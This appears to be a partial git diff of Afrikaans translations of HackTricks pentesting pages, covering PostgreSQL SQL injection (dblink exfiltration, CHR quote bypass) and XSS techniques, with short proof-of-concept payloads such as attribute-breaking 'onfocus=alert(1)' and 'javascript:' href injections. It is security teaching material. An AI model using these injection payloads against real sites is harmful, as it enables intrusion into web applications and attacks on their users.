**Hierdie bladsy het ten doel om verskillende truuks te verduidelik wat jou kan help om 'n SQL-inspuiting in 'n postgresql databasis te benut en om die truuks aan te vul wat jy kan vind op** [**https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md)
-## Netwerk Interaksie - Privilege Escalation, Port Scanner, NTLM-uitdaging antwoord openbaarmaking & Exfiltrasie
+## Netwerk Interaksie - Privilege Escalation, Port Scanner, NTLM uitdaging antwoord openbaar & Exfiltrasie
-Die **PostgreSQL-module `dblink`** bied vermoëns om met ander PostgreSQL-instanties te verbind en TCP-verbindinge uit te voer. Hierdie funksies, gekombineer met die `COPY FROM` funksionaliteit, stel aksies soos privilege escalatie, port scanning, en NTLM-uitdaging antwoord vang in staat. Vir gedetailleerde metodes om hierdie aanvalle uit te voer, kyk hoe om [hierdie aanvalle uit te voer](network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md).
+Die **PostgreSQL module `dblink`** bied vermoëns om met ander PostgreSQL instansies te verbind en TCP verbindings uit te voer. Hierdie funksies, gekombineer met die `COPY FROM` funksionaliteit, stel aksies soos privilege escalasie, port scanning, en NTLM uitdaging antwoord vang in staat. Vir gedetailleerde metodes om hierdie aanvalle uit te voer, kyk hoe om [hierdie aanvalle uit te voer](network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md).
### **Exfiltrasie voorbeeld met dblink en groot voorwerpe**
Jy kan [**hierdie voorbeeld lees**](dblink-lo\_import-data-exfiltration.md) om 'n CTF voorbeeld te sien van **hoe om data binne groot voorwerpe te laai en dan die inhoud van groot voorwerpe binne die gebruikersnaam** van die funksie `dblink_connect` te exfiltreer.
-## PostgreSQL Aanvalle: Lees/schryf, RCE, privesc
+## PostgreSQL Aanvalle: Lees/skryf, RCE, privesc
Kyk hoe om die gasheer te kompromitteer en voorregte van PostgreSQL te verhoog in:
@@ -87,7 +87,7 @@ select encode('select cast(string_agg(table_name, '','') as int) from informatio
### Verbode aanhalings
-As jy nie aanhalings vir jou payload kan gebruik nie, kan jy dit omseil met `CHR` vir basiese clausules (_karakter-konkatenasie werk slegs vir basiese vrae soos SELECT, INSERT, DELETE, ens. Dit werk nie vir alle SQL-verklarings_):
+As jy nie aanhalings vir jou payload kan gebruik nie, kan jy dit omseil met `CHR` vir basiese klousules (_karakter-konkatenasie werk slegs vir basiese vrae soos SELECT, INSERT, DELETE, ens. Dit werk nie vir alle SQL-verklarings_):
```
SELECT CHR(65) || CHR(87) || CHR(65) || CHR(69);
```
@@ -97,7 +97,7 @@ SELECT 'hacktricks';
SELECT $$hacktricks$$;
SELECT $TAG$hacktricks$TAG$;
```
-
+
As jy belangstel in 'n **hacking loopbaan** en die onhackbare hack - **ons huur aan!** (_vloeiend Pools geskryf en gesproke vereis_).
diff --git a/pentesting-web/xss-cross-site-scripting/README.md b/pentesting-web/xss-cross-site-scripting/README.md
index ed8f71ddf..9aaa07f90 100644
--- a/pentesting-web/xss-cross-site-scripting/README.md
+++ b/pentesting-web/xss-cross-site-scripting/README.md
@@ -1,8 +1,8 @@
# XSS (Cross Site Scripting)
-
+
-As jy belangstel in 'n **hacking loopbaan** en die onhackable wil hack - **ons huur aan!** (_vloeiend Pools geskryf en gesproke vereis_).
+As jy belangstel in 'n **hacking loopbaan** en die onhackable hack - **ons huur aan!** (_vloeiend Pools geskryf en gesproke vereis_).
{% embed url="https://www.stmcyber.com/careers" %}
@@ -31,7 +31,7 @@ As jy belangstel in 'n **hacking loopbaan** en die onhackable wil hack - **ons h
4. Javascript **funksie** wat **uitgevoer** word
1. Jy kan die naam van die funksie aandui om uit te voer. bv.: `?callback=alert(1)`
4. As **gebruik**:
-1. Jy kan 'n **DOM XSS** misbruik, let op hoe jou invoer beheer word en of jou **gecontroleerde invoer deur enige sink gebruik word.**
+1. Jy kan 'n **DOM XSS** misbruik, let op hoe jou invoer beheer word en of jou **beheerde invoer deur enige sink gebruik word.**
Wanneer jy aan 'n komplekse XSS werk, mag jy dit interessant vind om te weet oor:
@@ -58,12 +58,12 @@ Hou ook in gedagte [Kliëntkant Sjabloon Inspuiting](../client-side-template-inj
### Binne HTML-tags eienskap
-As jou invoer reflekteer binne die waarde van die eienskap van 'n tag, kan jy probeer:
+As jou invoer binne die waarde van die eienskap van 'n tag reflekteer, kan jy probeer:
-1. Om **te ontsnap van die eienskap en van die tag** (dan sal jy in die rauwe HTML wees) en nuwe HTML-tag te skep om te misbruik: `">` is geënkodeer of verwyder), afhangende van die tag kan jy **'n gebeurtenis skep** wat JS-kode uitvoer: `" autofocus onfocus=alert(1) x="`
-3. As jy **nie kan ontsnap van die eienskap nie** (`"` word geënkodeer of verwyder), dan, afhangende van **watter eienskap** jou waarde reflekteer in **of jy die hele waarde beheer of net 'n deel**, sal jy in staat wees om dit te misbruik. Byvoorbeeld, as jy 'n gebeurtenis soos `onclick=` beheer, sal jy dit in staat stel om arbitrêre kode uit te voer wanneer dit geklik word. 'n Ander interessante **voorbeeld** is die eienskap `href`, waar jy die `javascript:` protokol kan gebruik om arbitrêre kode uit te voer: **`href="javascript:alert(1)"`**
-4. As jou invoer reflekteer binne "**onuitputbare tags**" kan jy die **`accesskey`** truuk probeer om die kwesbaarheid te misbruik (jy sal 'n soort sosiale ingenieurswese nodig hê om dit te misbruik): **`" accesskey="x" onclick="alert(1)" x="`**
+3. As jy **nie kan ontsnap van die eienskap nie** (`"` word geënkodeer of verwyder), dan, afhangende van **watter eienskap** jou waarde reflekteer in **of jy die hele waarde beheer of net 'n deel**, sal jy in staat wees om dit te misbruik. Byvoorbeeld, as jy 'n gebeurtenis soos `onclick=` beheer, sal jy dit in staat wees om arbitrêre kode uit te voer wanneer dit geklik word. 'n Ander interessante **voorbeeld** is die eienskap `href`, waar jy die `javascript:` protokol kan gebruik om arbitrêre kode uit te voer: **`href="javascript:alert(1)"`**
+4. As jou invoer binne "**onuitputbare tags**" reflekteer, kan jy die **`accesskey`** truuk probeer om die kwesbaarheid te misbruik (jy sal 'n soort sosiale ingenieurswese nodig hê om dit te misbruik): **`" accesskey="x" onclick="alert(1)" x="`**
Vreemde voorbeeld van Angular wat XSS uitvoer as jy 'n klasnaam beheer:
```html
@@ -98,7 +98,7 @@ Javascript Hoisting verwys na die geleentheid om **funksies, veranderlikes of kl
### Javascript Funksie
-Verskeie webbladsye het eindpunte wat **die naam van die funksie om uit te voer as parameter aanvaar**. 'n Algemene voorbeeld om in die natuur te sien is iets soos: `?callback=callbackFunc`.
+Verskeie webblaaie het eindpunte wat **die naam van die funksie om uit te voer as parameter aanvaar**. 'n Algemene voorbeeld om in die natuur te sien is iets soos: `?callback=callbackFunc`.
'n Goeie manier om uit te vind of iets wat direk deur die gebruiker gegee is, probeer om uitgevoer te word, is **om die param waarde te wysig** (byvoorbeeld na 'Vulnerable') en in die konsole te kyk vir foute soos:
@@ -166,15 +166,15 @@ In this case and if no black/whitelisting is used, you could use payloads like: